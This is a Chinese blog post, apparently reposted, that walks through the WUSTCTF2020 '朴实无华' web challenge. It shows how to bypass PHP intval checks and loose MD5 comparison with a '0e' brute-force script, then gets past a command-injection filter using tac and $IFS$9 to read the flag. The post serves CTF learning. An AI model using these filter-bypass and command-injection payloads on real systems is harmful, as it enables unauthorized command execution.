飞道的博客

WUSTCTF2020-朴实无华

340人阅读  评论(0)

打开靶机,朴实无华

找线索

左找找右找找,发现robots.txt里有东西

进入/fAke_f1agggg.php是假的(早就预料到了)

在当前页面继续找线索,我都扫了啥都没发现,但更细致点就会发现,网络里的响应头里有个

有一说一,这个线索藏得够深,有二说二,chrome的控制台里网络区太烂了,一层一层的

进入/fl4g.php

我已经开始笑了

代码审计

就一点点读呗,不会的函数百度

绕过分为三个部分并且都是GET传值

intval函数绕过

要变量整数值小于2020,又要变量加1大于2021,一看就知道不是正常数。百度intval函数,在菜鸟教程中有下面的示例:

其中有用信息是

echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1

这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。

我们就拿2e4用吧,传入'2e4'它会被当2比较,+1后会被PHP强制转换再比较,会比2021大。这样就可以绕过了。

payload:

?num='2e4'

失败的原因可能是,后台已经把num当字符串处理了,那我们把单引号去掉再传入

payload:

?num=2e4

第一层绕过成功

MD5绕过

一个字符串MD5加密后,前后一样,php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是0e开头的,MD5加密后也是0e开头的,这样子,就能保证加密前后的值是相等==的了

偷的脚本

#!python2
import hashlib
import re


def MD5(data):
    return hashlib.md5(data.encode('utf-8')).hexdigest()


def main():
    a = 100000000
    while True:
        data = '0e' + str(a)
        data_md5 = MD5(data)
        a = a + 1
        if re.match('^0e[0-9]{30}', data_md5):
            print(data)
            print(data_md5)
            break
        if a % 1000000 == 0:
            print(a)


if __name__ == '__main__':
    main()

跑了一会,出了俩可以用的字符串,当然用短的

payload:

?num=2e4&md5=0e215962017

这就是有钱人的生活吗?

替换绕过

观察代码可知,不能有空格,有cat会被替换,而且这个变量可以被当作命令执行

于是我直接试了一下get_flag=Cat(/flag),果然失败,那我们先看一下目录吧

payload:

?num=2e4&md5=0e215962017&get_flag=ls

看来要读取那个很长的ffffflllllllaaaaaag

这里注意这个替换函数str_ireplace,它不区分大小写替换,所以这里不能大小写绕过,下面的图罗列了代替cat的关键词:

经过测试发现more、head、tac、tail、nl、od、sort、uniq、file -f在我win10环境下都可以出flag,但是od二进制比较麻烦,file -f由于空格过滤还要绕过,所以不建议使用

这里我们使用tac,而且这里需要使用$IFS$9代替空格详情戳这里

payload:

?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

出flag


转载:https://blog.csdn.net/qq_45619909/article/details/116079691
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场